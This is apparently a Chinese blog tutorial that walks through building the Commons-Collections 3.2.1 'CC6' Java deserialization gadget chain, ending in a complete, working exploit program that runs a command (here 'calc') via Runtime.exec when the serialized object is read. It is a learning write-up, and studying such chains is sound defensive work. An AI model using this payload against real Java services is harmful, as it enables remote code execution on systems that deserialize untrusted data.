环境准备
基本上和CC1差不多
jdk8u71
Comoons-Collections 3.2.1
开始分析
前半段链子,LazyMap 类到 InvokerTransformer 类是一样的,所以直接到 LazyMap 下,这里先重新一边LazyMap 类调用计算器的 EXP,看参考博客说多写有利于比那些EXP确实是这样,能加深理解,反正没坏处,并且我发现自己又有点忘记了。。。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 
 | public class Dome {  public static void main(String[] args) throws Exception{
 Runtime r = Runtime.getRuntime();
 InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
 HashMap<Object, Object> hashMap = new HashMap<>();
 Map map = LazyMap.decorate(hashMap, invokerTransformer);
 Class<LazyMap> mapClass = LazyMap.class;
 Method classDeclaredMethod = mapClass.getDeclaredMethod("get", Object.class);
 classDeclaredMethod.setAccessible(true);
 classDeclaredMethod.invoke(map,r);
 }
 }
 
 | 
这里下一步就是继续找哪里调用了get方法,看了利用链,下一个类和方法是TiedMapEntry 类中的 getValue()方法,这个里面调用了 LazyMap 的 get() 方法,然后继续编写EXP确保目前链子可用
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 
 | public class Dome {  public static void main(String[] args) throws Exception {
 Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
 };
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
 HashMap<Object, Object> hashMap = new HashMap<>();
 Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
 
 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
 tiedMapEntry.getValue();
 }
 }
 
 | 
弹出成功

然后就是继续往上找,看谁调用了 TiedMapEntry 中的 getValue() 方法,这个方法比较常见,所以就是先看同类下有没有调用,最后发现同类下的hashCode方法调用了getValue() 方法

而找到hashCode方法后就是找谁调用了hashCode方法,但是这里我们不用继续找了,因为在Java反序列化中hashCode方法后面的利用链基本都是下面这条
| 12
 3
 
 | xxx.readObject()HashMap.put() --自动调用-->   HashMap.hash()
 后续利用链.hashCode()
 
 | 

然后利用hash方法写exp
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 
 | public class Dome {  public static void main(String[] args) throws Exception {
 Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
 };
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
 HashMap<Object, Object> hashMap = new HashMap<>();
 Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
 
 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
 HashMap<Object, Object> expMap = new HashMap<>();
 
 expMap.put(tiedMapEntry,"value");
 }
 }
 
 | 
然后看一下现在的EXP
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 
 | import org.apache.commons.collections.Transformer;  import org.apache.commons.collections.functors.ChainedTransformer;
 import org.apache.commons.collections.functors.ConstantTransformer;
 import org.apache.commons.collections.functors.InvokerTransformer;
 import org.apache.commons.collections.keyvalue.TiedMapEntry;
 import org.apache.commons.collections.map.LazyMap;
 import org.apache.commons.collections.map.TransformedMap;
 
 import java.io.*;
 import java.lang.reflect.Method;
 import java.util.HashMap;
 import java.util.Map;
 
 public class Dome {
 public static void main(String[] args) throws Exception {
 Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
 };
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
 HashMap<Object, Object> hashMap = new HashMap<>();
 Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
 
 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
 HashMap<Object, Object> expMap = new HashMap<>();
 
 expMap.put(tiedMapEntry,"bbb");
 serialize(expMap);
 unserialize("ser.bin");
 }
 public static void serialize(Object obj) throws IOException {
 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
 oos.writeObject(obj);
 }
 public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
 ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
 Object obj = ois.readObject();
 return obj;
 }
 }
 
 | 
在注释掉反序列化后还是能弹出计算器,这肯定是有问题的,这里和URLDNS的思想其实差不多,在执行 put() 方法的时候,里面也会执行hash方法但是要的是readObject里面的putVal中调用的hash方法,所以我们只需要修改下面这条语句的参数即
| 1
 | Map lazyMap = LazyMap.decorate(hashMap,chainedTransformer);
 | 
我们先在序列化的时候传进去一个没用的参数,然后反序列化的时候再重新赋值就行,改为下面这样
| 1
 | Map lazyMap = LazyMap.decorate(hashMap,new  ConstantTransformer(1));
 | 
put完之后通过反射再改回来
| 12
 3
 4
 
 | Class c = LazyMap.class;  Field factoryField = c.getDeclaredField("factory");
 factoryField.setAccessible(true);
 factoryField.set(lazyMap,chainedTransformer);
 
 | 
但是改完之后反序列化也不弹计算器了,下个断点调试一下

最终问题出在LazyMap下的get方法

put的时候会传入一个key反序列化无法进入if执行transform方法,所以需要删掉这个key
最终EXP
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 
 | import org.apache.commons.collections.Transformer;  import org.apache.commons.collections.functors.ChainedTransformer;
 import org.apache.commons.collections.functors.ConstantTransformer;
 import org.apache.commons.collections.functors.InvokerTransformer;
 import org.apache.commons.collections.keyvalue.TiedMapEntry;
 import org.apache.commons.collections.map.LazyMap;
 import org.apache.commons.collections.map.TransformedMap;
 import java.io.*;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
 import java.util.HashMap;
 import java.util.Map;
 
 public class Dome {
 public static void main(String[] args) throws Exception {
 Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(Runtime.class),
 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
 };
 ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
 HashMap<Object, Object> hashMap = new HashMap<>();
 Map lazyMap = LazyMap.decorate(hashMap,new  ConstantTransformer(1));
 
 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aaa");
 HashMap expMap = new HashMap<>();
 
 
 expMap.put(tiedMapEntry,"bbb");
 lazyMap.remove("aaa");
 
 Class c = LazyMap.class;
 Field factoryField = c.getDeclaredField("factory");
 factoryField.setAccessible(true);
 factoryField.set(lazyMap,chainedTransformer);
 
 serialize(expMap);
 unserialize("ser.bin");
 }
 public static void serialize(Object obj) throws IOException {
 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
 oos.writeObject(obj);
 }
 public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
 ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
 Object obj = ois.readObject();
 return obj;
 }
 }
 
 | 

这里还有一个点就是idea的设置问题,在 IDEA 进行 debug 调试的时候,为了展示对象的集合,会自动调用 toString() 方法,所以在创建 TiedMapEntry 的时候,就自动调用了 getValue() 最终将链子走完,然后弹出计算器,所以需要进行如下修改

设置成这样就行
利用链
| 12
 3
 4
 5
 6
 7
 8
 9
 
 | xxx.readObject()HashMap.put()
 HashMap.hash()
 TiedMapEntry.hashCode()
 TiedMapEntry.getValue()
 LazyMap.get()
 ChainedTransformer.transform()
 InvokerTransformer.transform()
 Runtime.exec()
 
 | 
流程图

总结
这条链子参考博客跟到一半搞不懂了然后去看白日梦组长的视频又理了一下才完成这条链子,不得不说白日梦组长讲的确实细